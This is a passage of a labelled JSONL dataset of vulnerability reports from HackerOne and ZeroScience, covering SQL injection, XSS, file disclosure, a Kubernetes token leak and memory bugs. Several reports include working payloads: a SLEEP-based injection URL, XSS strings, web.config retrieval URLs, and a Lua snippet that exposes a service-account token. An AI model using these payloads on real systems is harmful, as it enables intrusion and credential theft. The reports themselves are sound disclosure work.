"Thrive Smart Home v1.1 SQL Injection Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2019-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a6035db508effb8abe36", "text": "[Memory Corruption - Generic] Misusing of FPU Instruction Could Cause Security Vulnerabilities in Adobe Flash Player\n\nMisusing of FPU Instruction Could Cause Security Vulnerabilities in Adobe Flash Player\r\n\r\nThis vulnerability (CVE-2015-3100) was reported to Adobe on March 10, 2015 and has been patched today via APSB15-11 (https://helpx.adobe.com/security/products/flash-player/apsb15-11.html).\r\n\r\nFollowing is the original vulnerability report, sharing privately for your assessment of the impact.\r\n\r\nSummary:\r\n========\r\nThere is a security vulnerability in Adobe Flash Player when using FPU instructions. Successfully exploiting this vulnerability allows the attacker run arbitrary code with the same right of the current user.\r\n\r\n\r\nDetails:\r\n========\r\nAccording to http://en.wikibooks.org/wiki/X86_Assembly/Floating_Point#FPU_Register_Stack,\r\n\r\n\"the FPU has 8 registers, st0 to st7, formed into a stack. Numbers are pushed onto the stack from memory, and are popped off the stack back to memory\".\r\n\r\nPrograms are responsible to maintain the stack when using FPU instructions. If not, for example, all the 8 registers are in-use, future FPU instruction may fail and cause a \"stack overflow\" problem while the failed instruction doesn't have a chance to know. \r\n\r\n\r\nUnder some certain situation, Adobe Flash Player may use FPU instructions to handle floating numbers. When playing the attached \"PoC.swf\", it will run the following function/code.\r\n\r\n.text:009CE380 sub_9CE380 proc near \r\n.text:009CE380\r\n.text:009CE380 arg_0 = dword ptr 4\r\n.text:009CE380\r\n.text:009CE380 mov eax, [esp+arg_0]\r\n.text:009CE384 mov ecx, eax\r\n.text:009CE386 and ecx, 7\r\n.text:009CE389 cmp cl, 6\r\n.text:009CE38C jnz short loc_9CE39A\t\t;jmp to 009CE39A\r\n.text:009CE38E sar eax, 3\r\n.text:009CE391 mov [esp+arg_0], eax\r\n.text:009CE395 fild [esp+arg_0]\r\n.text:009CE399 retn\r\n.text:009CE39A ; ---------------------------------------------------------------------------\r\n.text:009CE39A\r\n.text:009CE39A loc_9CE39A:\t\t\t\t\t\r\n.text:009CE39A and eax, 0FFFFFFF8h\r\n.text:009CE39D fld qword ptr [eax]\t\t;this will cause one more FPU register in use\r\n.text:009CE39F retn\r\n.text:009CE39F sub_9CE380 endp\r\n\r\n(We are using the Flash Player projector for test, version is 16.0.0.305.)\r\n\r\nHowever, the main function which calls the sub_9CE380 doesn't \"restore\" the FPU register's status correctly. Instead of \"clean\" the registers, it simply return to its main function, and there is no place to \"clean\" the FPU registers at all. Let's see what the main function does.\r\n\r\n03ED5C89 83C4 10 add esp, 10\r\n03ED5C8C 83EC 0C sub esp, 0C\r\n03ED5C8F 50 push eax\r\n03ED5C90 E8 EB86AFFC call flashpla.009CE380\t\t; call to use one FPU register\r\n03ED5C95 83C4 10 add esp, 10\t\t\t; no instruction to \"clean\" the FPU register \r\n03ED5C98 8BE5 mov esp, ebp\r\n03ED5C9A 5D pop ebp\r\n03ED5C9B C3 retn\t\t\t\t; return\r\n\r\nThis is a JITed function from our bytecode in one of the \"method_bodies\" in the SWF file. In the main function of this function, it also doesn't have any FPU instruction to clean the register. Here is what it may look like:\r\n\r\n00A10E86 2BE1 sub esp, ecx\r\n00A10E88 51 push ecx\r\n00A10E89 8B4D 10 mov ecx, dword ptr [ebp+10]\r\n00A10E8C 8B55 0C mov edx, dword ptr [ebp+C]\r\n00A10E8F 8B46 08 mov eax, dword ptr [esi+8]\r\n00A10E92 8B40 04 mov eax, dword ptr [eax+4]\r\n00A10E95 51 push ecx\r\n00A10E96 52 push edx\r\n00A10E97 56 push esi\r\n00A10E98 FFD0 call eax\t\t\t\t; call to our previously-discussed function\r\n00A10E9A 83C4 0C add esp, 0C\r\n00A10E9D 59 pop ecx\r\n00A1", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "362c1c95f7d9eb839a42", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on www.starbucks.com.sg/careers/career-center/career-landing-*\n\n**Summary:** \nWhile enumeration of the webpage for Starbucks I observed the following pages.\n\nhttps://www.starbucks.com.sg/careers/career-center/career-landing-5?\n\nThe webpage have been highly spam by automated scanners or malicious attack.\nBy clicking on any of the pages it would redirect the user to a wordpress website\n\n```\n<a href=\"https://obatkebaskesemutan.wordpress.com/\" rel=\"dofollow noopener\" style=\"z-index:9999999999999999;oncontextmenu:return false;onkeydown:return false;onmousedown:return false;position:fixed;top:0px !important;left:0px;width:100%;height:100%;color:transparent !important;display:block;text-align:center;font-size:0px;background-color:transparent;background-position:center;background-repeat:no-repeat;background-size:cover;\" target=\"_blank\" title=\"Obat Herbal\">Obat Kebas</a>\n\n```\nThe owner of the following wordpress pages could manipulate user into redirecting to a Starbucks page for a job offer and an user by clicking on the webpage would redirect to a website of its choosing.\n\n{F439338}\n{F439340}\n\n* List any recommendations for bug fix\nRemove the pages from Starbucks webpage.\n\n## Impact\n\nThe owner of the following wordpress pages could manipulate user into redirecting to a Starbucks page for a job offer and an user by clicking on the webpage would redirect to a website of its choosing.", "source": "hackerone", "timestamp": "2019-04-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a04f7b905ff55c6c303f", "text": "[Buffer Over-read] tcpdump before 4.9.3 has a heap-based buffer over-read related to aoe_print in print-aoe.c and lookup_emem in addrtoname.c\n\nThere seems to be a heap-based buffer overread while running tcpdump on a crafted pcap file. A similar behavior is seen when tcpdump is listening on an interface and the contents of this file is relayed over the network.\n\nPlease find the detailed report on github\nhttps://github.com/the-tcpdump-group/tcpdump/issues/645\n\nCVE: https://nvd.nist.gov/vuln/detail/CVE-2017-16808\n\n## Impact\n\nHeap Over Read", "source": "hackerone", "timestamp": "2021-07-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c1c51b28a91715463ea6", "text": "[Buffer Over-read] Out of Bounds Memory Read in php_jpg_get16\n\nI have found and reported an out of bounds memory read in PHP [php_jpg_get16]\nWhen PHP EXIF extension is parsing EXIF information from an image, e.g. via exif_read_data() function, in PHP versions 7.1.x below 7.1.30, 7.2.x below 7.2.19 and 7.3.x below 7.3.6 it is possible to supply it with data what will cause it to read past the allocated buffer.\nThis has been fixed and assigned CVE-2019-11040\nThe bug report is here: https://bugs.php.net/bug.php?id=77988\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11040\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-11040\n\n## Impact\n\nThis may lead to information disclosure or crash.", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "7293a4085ff981875b40", "text": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Arbitrary File Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-10-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a76df9405615bba5e863", "text": "[SQL Injection] SQL injection on █████ due to tech.cfm\n\n**Summary:**\nThe website appears to be vulnerable to SQL injection due to inducing an sql error using a single '\n**Description:**\nThe following url, https://█████/hro/html/tech.cfm?Sort=Grade&ThisType=2 contains the parameter sort= which is vulnerable to SQLI. We know this due to the error disclosing the SQL query being used. \n```SELECT *, tbl_JobInfo.id as TJobID,tbl_JobDocs.id as DocID FROM dbo.tbl_JobInfo left outer join dbo.tbl_JobType on JobTypeID = tbl_JobType.id left outer join tbl_JobDocs on tbl_JobInfo.id = tbl_JobDocs.JobID WHERE JobTypeID = 3 AND JobTypeID > 1 AND Display = 'Y' Order by 'INJECTION' ASC1``` We can then demonstrate vulnerability by using time based queries and I opted to instead keep my queries low impact as to not violate the rules.\n## Impact\nHigh\n## Step-by-step Reproduction Instructions\n\nhttps://███/hro/html/tech.cfm?Sort=SLEEP(25)&ThisType=3\nThis will cause the page hang to hang momentarily \nThis won't cause the website to hang, https://█████████/hro/html/tech.cfm?Sort=SLEEP()&ThisType=3\nAdditionally included timing screen shots showing the time between the pages\n## Product, Version, and Configuration (If applicable)\nN/a\n## Suggested Mitigation/Remediation Actions\nSanitize user input and prepare statements\n\n## Impact\n\nAn attacker could access the Database and harvest potentially sensitive data from the website or even take over the entire website through using certain SQL commands.", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bf5f2b1cfd27ea6ff183", "text": "Option CloudGate Insecure Direct Object References Authorization Bypass\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-06-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5cc5234068bb28ae3821", "text": "WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-04-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5a5c3d17d8e051143bf2", "text": "[Cross-site Scripting (XSS) - Stored] Stored xss via template injection\n\nHello Sir , I found Stored XSS in https://mercantile.wordpress.org/\nPOC is attached .\nSteps to reproduce:\n1.Login to your account.\n2. Go to https://mercantile.wordpress.org/my-account/edit-address/ & fill details , press save & intercept this request in burp suit.\n3.change name to {{constructor.constructor('alert(1)')()}} & forward request. as shown in screenshot.\nXss will popup when you visit your account page.\n \n Although its self XSS. but following attack scenario makes it useful.\nAnyone can make account on https://mercantile.wordpress.org/ using someone else email id, Its not verifying whether its your email id or not. Lets consider \"A\" makes account with \"B\" persons email & by using this technique store XSS payload in its account. After that \"B\" wants account on mercantile.wordpress.org with same email. so rather creating account with new email, \"B\" person just do forget password & recover & recover his account. but xss payload is still there in his account so attacker \"A\" can access victim \"B\" account anytime.\n One more thing, even after changing name with https://mercantile.wordpress.org/my-account/edit-account/ setting payload is not removed its still there. so its make attack more sophisticated. \n \nThanks & Regards,\nAkshay", "source": "hackerone", "timestamp": "2017-12-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "791ba7ace7d14dbdabc1", "text": "Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-05-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1cb32588622efb8f9096", "text": "Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-01-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9a56ebd08b0987e9219a", "text": "[Information Disclosure] Local File Disclosure on the ████████ (https://████/) leads to the source code disclosure & DB credentials leak\n\n##Description\nI discovered another LFD on the https://████/ (virtual host on the █████ IP)\n\n##POC\nhttps://█████/file.ashx?path=web.config\nwill download the website configuration file.\nIt exposes different DB credentials than in previous reports:\n███\n\nSimilarly, attacker able to get content of any server-side file, such as source code of application:\nhttps://███/file.ashx?path=index.aspx\n\n## Impact\n\nSource code & sensitive configuration data leakage. Attacker can use it to compromise the resource.", "source": "hackerone", "timestamp": "2021-01-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "749239c1b32a766b8e64", "text": "MA Lighting Technology grandMA onPC v6.808 Remote Denial of Service Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-04-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e8eff18b1beaea8087a1", "text": "[Uncontrolled Resource Consumption] SEGV in parse_rat()\n\n- A crafted string can cause SEGV(READ memory access to 0x000000000000) when parsed as rational number\n- ruby 2.5.1p57 on Fedora 28\n\n```\n$ ruby -e 'Rational(\"2e-9942067\")'\n-e:1: warning: in a**b, b may be too big\n-e:1: [BUG] Segmentation fault at 0x0000000000000000\nruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-linux]\n\n-- Control frame information -----------------------------------------------\nc:0003 p:---- s:0011 e:000010 CFUNC :Rational\nc:0002 p:0006 s:0006 e:000005 EVAL -e:1 [FINISH]\nc:0001 p:0000 s:0003 E:001c20 (none) [FINISH]\n\n-- Ruby level backtrace information ----------------------------------------\n-e:1:in `<main>'\n-e:1:in `Rational'\n\n-- Machine register context ------------------------------------------------\n RIP: 0x00007f43188c73f2 RBP: 0x00007ffccfd58780 RSP: 0x00007ffccfd58708\n RAX: 0x0000000000000001 RBX: 0x000055fd76c814b8 RCX: 0x0000000000000000\n RDX: 0xfff0000000000000 RDI: 0x000055fd76c814b8 RSI: 0x0000000000000000\n R8: 0x000055fd76d349b0 R9: 0x0000000000000001 R10: 0x0000000000000000\n R11: 0x0000000000000000 R12: 0x00007ffccfd58790 R13: 0x0000000000000005\n R14: 0x0000000000000001 R15: 0x0000000000000000 EFL: 0x0000000000010286\n\n-- C level backtrace information -------------------------------------------\n/lib64/libruby.so.2.5(0x7f4318a54199) [0x7f4318a54199]\n/lib64/libruby.so.2.5(0x7f4318a543d0) [0x7f4318a543d0]\n/lib64/libruby.so.2.5(0x7f4318917a4c) [0x7f4318917a4c]\n/lib64/libruby.so.2.5(0x7f43189e3596) [0x7f43189e3596]\n/lib64/libpthread.so.0(0x7f4318678fb0) [0x7f4318678fb0]\n/lib64/libruby.so.2.5(rb_bigzero_p+0x42) [0x7f43188c73f2]\n/lib64/libruby.so.2.5(0x7f43189b16e8) [0x7f43189b16e8]\n/lib64/libruby.so.2.5(0x7f43189b988b) [0x7f43189b988b]\n/lib64/libruby.so.2.5(0x7f43189b9afc) [0x7f43189b9afc]\n/lib64/libruby.so.2.5(0x7f43189ba52f) [0x7f43189ba52f]\n/lib64/libruby.so.2.5(0x7f4318a3d083) [0x7f4318a3d083]\n/lib64/libruby.so.2.5(0x7f4318a49943) [0x7f4318a49943]\n/lib64/libruby.so.2.5(0x7f4318a426d6) [0x7f4318a426d6]\n/lib64/libruby.so.2.5(0x7f4318a46b9d) [0x7f4318a46b9d]\n/lib64/libruby.so.2.5(0x7f431891b32c) [0x7f431891b32c]\n/lib64/libruby.so.2.5(ruby_exec_node+0x21) [0x7f431891d2b1]\n/lib64/libruby.so.2.5(ruby_run_node+0x22) [0x7f431891f8b2]\n/usr/bin/ruby-mri(0x55fd74db09bf) [0x55fd74db09bf]\n/lib64/libc.so.6(__libc_start_main+0xeb) [0x7f4317b0a1bb]\n/usr/bin/ruby-mri(_start+0x2a) [0x55fd74db09fa]\n\n-- Other runtime information -----------------------------------------------\n\n* Loaded script: -e\n\n* Loaded features:\n\n 0 enumerator.so\n 1 thread.rb\n 2 rational.so\n 3 complex.so\n 4 /usr/lib64/ruby/enc/encdb.so\n 5 /usr/lib64/ruby/enc/trans/transdb.so\n 6 /usr/lib64/ruby/rbconfig.rb\n 7 /usr/share/rubygems/rubygems/compatibility.rb\n 8 /usr/share/rubygems/rubygems/defaults.rb\n 9 /usr/share/rubygems/rubygems/deprecate.rb\n 10 /usr/share/rubygems/rubygems/errors.rb\n 11 /usr/share/rubygems/rubygems/version.rb\n 12 /usr/share/rubygems/rubygems/requirement.rb\n 13 /usr/share/rubygems/rubygems/platform.rb\n 14 /usr/share/rubygems/rubygems/basic_specification.rb\n 15 /usr/share/rubygems/rubygems/stub_specification.rb\n 16 /usr/share/rubygems/rubygems/util/list.rb\n 17 /usr/lib64/ruby/stringio.so\n 18 /usr/share/ruby/uri/rfc2396_parser.rb\n 19 /usr/share/ruby/uri/rfc3986_parser.rb\n 20 /usr/share/ruby/uri/common.rb\n 21 /usr/share/ruby/uri/generic.rb\n 22 /usr/share/ruby/uri/ftp.rb\n 23 /usr/share/ruby/uri/http.rb\n 24 /usr/share/ruby/uri/https.rb\n 25 /usr/share/ruby/uri/ldap.rb\n 26 /usr/share/ruby/uri/ldaps.rb\n 27 /usr/share/ruby/uri/mailto.rb\n 28 /usr/share/ruby/uri.rb\n 29 /usr/share/rubygems/rubygems/specification.rb\n 30 /usr/share/rubygems/rubygems/exceptions.rb\n 31 /usr/share/rubygems/rubygems/defaults/operating_system.rb\n 32 /usr/share/rubygems/rubygems/dependency.rb\n 33 /usr/share/rubygems/rubygems/core_ext/kernel_gem.rb\n 34 /usr/share/ruby/monitor.rb\n 35 /usr/share/rubygems/rubygems/core_ext/kernel_require.rb\n 36 /usr/share/rubygems/rubygems.rb\n 37 /usr/share/rubygems/rubygems/path_supp", "source": "hackerone", "timestamp": "2018-06-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8b8061d0d3a113547611", "text": "[Improper Input Validation] CVE-2021-22924: Bad connection reuse due to flawed path name checks\n\n## Summary:\n`Curl_ssl_config_matches` attempts to compare whether two SSL connections have identical SSL security options or not. The idea is to avoid reusing a connection that uses less secure, or completely different security options such as capath, cainfo or certificate/issuer pinning.\n\nUnfortunately this function has several flaws in it:\n1. It completely fails to take into account \"BLOB\" type certificate values, such as set by `CURLOPT_CAINFO_BLOB` and `CURLOPT_ISSUERCERT_BLOB`. If the application can be made to initiate connection to a user specified location (where these BLOB options are not used) before the \"more secure\" connection using these options is made, the attacker can point the application to connect to the same address and port, effectively poisoning the connection cache with a connection that has been established with different cainfo or issuecert settings. This leads to attacker being able to neutralize these options and make libcurl ignore them for the connections for which they're set. I have no obvious CWE number for this one, but CWE-664 `Improper Control of a Resource Through its Lifetime` might fit.\n2. `CURLOPT_ISSUERCERT` value is not matched. Similar to above.\n3. Similarly, the function has an implementation flaw where path names use case-insensitive comparison for capath, cainfo and pinned public key paths. This can lead to a situation where if the attacker can specify the capath, cainfo or pinned public key name that have a different path capitalization. Again, if the attacker can specify some of these values for the connection that is performed before the later supposedly secure connection is made, the attacker is able to make the further connection use incorrect capath, cainfo or pinned public key. This is CWE-41 `Improper Resolution of Path Equivalence`.\n4. Finally, the pinned public key fingerprint set by `CURLOPT_PINNEDPUBLICKEY` `sha256//` is incorrectly compared as case-insenstive value. If the attacker is able to create a otherwise valid certificate that has a fingerprint that has the same fingerprint string but with different capitalization (very difficult to pull off in practice), and the application could be tricked to use this value for `CURLOPT_PINNEDPUBLICKEY` and create a connection, later connection could be confused to think that the pinned public key is the same one.\n\nExploiting any of these issues requires a situation where the attacker can coax the application to create a TLS connection to the same host and port that will be performed by the application itself later on (for example some backend connection or other high security connection the attacker wishes to man in the middle). In these situations the existing connection with less security guarantees may be reused, allowing man in the middle attacks against the later supposedly secure connection, resulting in loss of confidentiality and integrity. Since this requires an active attack it can't be thought to have direct availability impact. In most cases where this would result in exploitation would be scenarios where there would be a privilege barrier between the user providing the connection target addresses (lower priority) and the libcurl using application performing the actual connections (higher priority). It can also be exploitable in a scenario where the attacker will try to man in the middle connections performed by other users of the same service (lateral attack towards users at the same privilege level).\n\nExploiting the first two issues is plausible in a situation where the attacker can obtain a valid certificate for the host, but from issuer that doesn't match what the application pinning will check for. If the app uses the blob variants to set up pinning and the attacker is able to obtain a certificate for the specific host from for example Let's Encrypt, the \"pin stripping\" attack would be plausible.\n\nExploiting the 3rd issue is be possible in a situation where the attacker can write to a location that has th", "source": "hackerone", "timestamp": "2021-07-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d1aa9459e16bff79cc1a", "text": "COMMAX CVD-Axx DVR 5.1.4 Weak Default Credentials Stream Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-08-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "faf043e756f22ff6acc3", "text": "[Cross-Site Request Forgery (CSRF)] Activation tokens are not expiring\n\nHi Team,\n\nDomain: `demo.weblate.org`\n\nIn this bug, maybe it is low risk but i have found a way to login any person to the attackers account, therefor when any user login to attackers account, the attacker can see the users activity on attackers account. The issue relies on the password reset.\n\n### Stes to reproduce:\n\n 1. Create fake account and generate reset password link.\n 2. Go to email, get the reset password link and send it to victim\n 3. When victim click the link, victim automatically login to attackers account.\n\nPlease note that when the victim clicks the reset password link, victim will redirect to the page that ask to insert password, but even if the victim did not inout password, and click the profile name at the upper right of the reset password page. The victim will redirect to attackers profile account, meaning upon clicking the reset password link, victim already logged in to attackers account.\n\n### Mitigation:\n\nDo not automatically login the user after clicking the reset password link.\n\nLet me know if you need more information.\n\nRegards\nJapz", "source": "hackerone", "timestamp": "2017-05-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d912f50e9e76d8067832", "text": "Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-04-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2006ff0b3ded07c691b2", "text": "Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-09-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "00e1bd8d6716a756f4a5", "text": "[Cross-site Scripting (XSS) - Generic] Reflective XSS on wholesale.shopify.com\n\nThere is a reflected XSS issue on wholesale.shopify.com\n\nSteps to reproduce:\nCall the following URL in Mozilla Firefox:\nhttps://wholesale.shopify.com/asd%27%3Balert%28%27XSS%27%29%3B%27\n\nAn alert box with \"XSS\" appears. This means that an attacker has full control of the scripts, that are executed in the victims browser.\n\nAn attack vector would be sending an evil link via e-mail, messenger, etc. As the victim trusts the domain wholesale.shopify.com, it will click the link and could be redirected to a site hosting a browser exploit kit.\nThis abuses the trust of shopify.com\n\nThe main problem with that XSS is, that in script context the quotes, double quotes and \">\" + \"<\" are not encoded at all.\n\nI suggest to convert them either to hex values or escape them.", "source": "hackerone", "timestamp": "2015-12-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "72af79d903b0d82d2aad", "text": "[Privilege Escalation] Authenticated kubernetes principal with restricted permissions can retrieve ingress-nginx serviceaccount token and secrets across all namespaces\n\n## Summary:\n\n### Retrieving ingress-nginx serviceaccount token\n\ningress-nginx allows adding custom snippets of nginx configuration to Kubernetes `ingress` objects. These snippets can be applied to either the relevant `location {}` or `server {}` blocks with the following annotations, respectively.\n\n* https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#configuration-snippet\n* https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet\n\nInside the `server {}` block we can add a custom snippet of lua-code that reads the serviceaccount token that is mounted inside the ingress-nginx pod. We then set it as an nginx variable and return it to the client at a configured location. This might look like this:\n\n```yaml\n nginx.ingress.kubernetes.io/server-snippet: |\n set_by_lua $token '\n local file = io.open(\"/run/secrets/kubernetes.io/serviceaccount/token\")\n if not file then return nil end\n local content = file:read \"*a\"\n file:close()\n return content\n ';\n\n location = /token {\n content_by_lua_block {\n ngx.say(ngx.var.token)\n }\n }\n```\n\n### Impact\n\nThe ingress-nginx serviceaccount has the permissions to `list` `secrets` across all namespaces. With the ingress-nginx serviceaccount's token a user, with otherwise restricted privileges, can at least:\n\n* exfiltrate all kubernetes secrets\n* get tokens of all kubernetes serviceaccounts; allowing an attacker to elevate his privileges to potentially cluster-admin\n\nVendors such as rancher-labs bundle ingress-nginx, or a forked version of ingress-nginx, with their software. Solutions provided by these vendors might also be vulnerable.\n\n### kube-apiserver proxy\n\ningress-nginx can be configured to expose the Kubernetes kube-apiserver by creating a Kubernetes `Service` of type `ExternalName` and pointing it to `kubernetes.default`; the hostname at which the kubernetes api is available inside the cluster. This can expose an otherwise private and protected kube-apiserver to untrusted networks like the internet.\n\n### Requirements to exploit\n\nTo successfully exploit this vulnerability an attacker would need access to an already authenticated user or serviceaccount that has the permissions to `create` the following resources inside kubernetes:\n\n* `ingress`\n* `service`\n\nAdditionally the attacker needs network access to the ingress-nginx-controller loadbalancer or in-cluster service to retrieve the ingress-nginx serviceaccount token. The hostname configured in the `ingress` object does not necessarily have to resolve to the ingress-nginx-controller's loadbalancer; ingress-nginx will also serve us the token if we manually add the `Host`-header.\n\n## Kubernetes Version:\n\nAny, as far as I am aware. This was tested with AWS EKS 1.20.\n\n## Component Version:\n\nAny, as far as I am aware. This was tested with the following release of ingress-nginx:\n\n* chart: `ingress-nginx-3.33.0`\n* application: `0.47.0`\n\n## Steps To Reproduce:\n\nI created a proof-of-concept (`poc.sh`) that requires the following:\n\n* A kubernetes cluster with ingress-nginx installed; ingress-nginx should not be restricted to a single namespace\n* A local kubeconfig file configured to communicate with the kubernetes cluster\n* A user configured in the kubeconfig file with the permissions to `create` `ingress` and `service` objects in the namespace configured in the kubeconfig context\n\nThe proof-of-concept requires setting the `INGRESS_HOST` environment variable. This variable should contain a hostname that resolves to the ingress-nginx-controller's loadbalancer. This is made easy on clusters where a wildcard DNS-record is pointing to the loadbalancer.\n\nWhen invoked, the script will:\n\n1. Apply the required `ingress` and `service`;\n 1. exposing the ingress-nginx serviceaccount token at `https://$INGRESS_HOST/token`\n 2. proxying all", "source": "hackerone", "timestamp": "2021-12-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "90402e15868aaa5ff3fc", "text": "Legrand BTicino Driver Manager F454 1.0.51 Authenticated Stored XSS Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-05-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b7abc6e7eda08fea4de1", "text": "[LDAP Injection] [CVE-2021-29156 on ForgeRock OpenAm] LDAP Injection in Webfinger Protocol!\n\n**Description:**\nhttps://████████ is vulnerable to CVE-2021-29156. \n\n## References\n* https://nvd.nist.gov/vuln/detail/CVE-2021-29156\n* https://portswigger.net/research/hidden-oauth-attack-vectors\n* https://github.com/projectdiscovery/nuclei-templates/blob/74db4223c11d27a934ca1c417aa4abca9e70ad35/cves/2021/CVE-2021-29156.yaml\n\n## Impact\n\nForgeRock OpenAM before 13.5.1 allows LDAP injection via the Webfinger protocol. For example, an unauthenticated attacker can perform character-by-character retrieval of password hashes, or retrieve a session token or a private key.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-29156\n\n## Steps to Reproduce\nThe references mentioned shall be helpful for successful reproduction.\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-08-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d72641ac94dfbfd707ed", "text": "Cayin Content Management Server 11.0 Root Remote Command Injection\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-06-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b09510bfbc94483dba81", "text": "Zoho BugTracker Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-08-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "eeb0ebc92f93a1f2f1ee", "text": "[Buffer Underflow] CVE-2019-11043: a buffer underflow in fpm_main.c can lead to RCE in php-fpm\n\nThe vulnerability exists in php-fpm because of missing bounds check in fpm_main.c. If the FastCGI variable `PATH_INFO` is empty, the underflow happens when the code tries to calculate the value of the `path_info` variable. An invalid pointer in `path_info` leads to a single byte out-of-bounds write, which can be leveraged to code execution.\n\nThe php-fpm allows anyone who can connect to its' port to execute code, so an RCE in php-fpm is not interesting by itself. However, this particular issue can be exploited even by a user who has access to the HTTP server (which is Nginx typically). In certain Nginx configurations, it is possible to make it send empty `PATH_INFO` value by breaking regexp in `fastcgi_split_pathinfo` directive using an encoded newline character (`%0a`). \n\nThe issue was reported to PHP maintainers in the [bug 78599](https://bugs.php.net/bug.php?id=78599) and assigned CVE-2019-11043. It was disclosed on October 22.\n\nThe exploit for the issue is available at https://github.com/neex/phuip-fpizdam/.\n\nTo reproduce the issue, follow the steps at the [\"Playground environment\" section](https://github.com/neex/phuip-fpizdam/#playground-environment) in the exploit's README. The repo contains a Dockerfile, which builds the version of PHP just before the fix.\n\nExploit works only when Nginx config allows to trigger the bug (that is, to send empty `PATH_INFO` FastCGI variable). The full list of preconditions [can be found](https://github.com/neex/phuip-fpizdam/#the-full-list-of-preconditions) at the exploit repository. There are real world examples of big projects empoying such configuration, see e.g. https://twitter.com/chybeta/status/1187213401124036608 (this particular issue is already reported to the corresponding bug bounty program and they hardened the Nginx config).\n\nAs the vulnerability resides in php-fpm, not Nginx, there might be other ways to trigger the vulnerability when other HTTP server software is used. However, I'm not aware of any at this moment.\n\n## Impact\n\nIf the attack is successful, the attacker can execute code at the server that runs php-fpm with the privileges of the php-fpm process. Again, note that the attacker doesn't have access to the php-fpm socket, she only makes HTTP requests to the nginx.", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "54db8f3f840ea4c67960", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-07-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "087f2ce3839effa67be0", "text": "[Command Injection - Generic] git-fastclone allows arbitrary command execution through usage of ext remote URLs in submodules\n\nI recently discovered a security vulnerability in git that also affects other programs that manually reimplement submodule-like operations. The recent security update to git[0] concerning git-remote-ext URLs in submodules affects git-fastclone similarly. This bug was patched in Git v2.6.1, v2.5.4, v2.4.10 and v2.3.10. The issue in git was just assigned CVE-2015-7545 [2]. Google's git-repo command was affected very similarly[3] to git-fastclone and it was recently patched too.\n\nThe git team's description of the bug was: \n> Some protocols (like git-remote-ext) can execute arbitrary code \n> found in the URL. The URLs that submodules use may come from \n> arbitrary sources (e.g., .gitmodules files in a remote \n> repository), and can hurt those who blindly enable recursive \n> fetch. Restrict the allowed protocols to well known and safe \n> ones.\n\nSome more discussion of the vulnerability can be found in this commit message: \nhttps://github.com/git/git/commit/33cfccbbf35a56e190b79bdec5c85457c952a021\n\nBasically, the git-remote-ext remote helper (which supports \"ext::ssh example.com %S foo/repo\" URLs) allows arbitrary command execution. This normally isn't ever a concern because user always sees and trusts the URL they pass to git. However git submodules, through the .gitmodules file, allow an attacker to request the client to fetch arbitrary git URLs.\n\nBecause 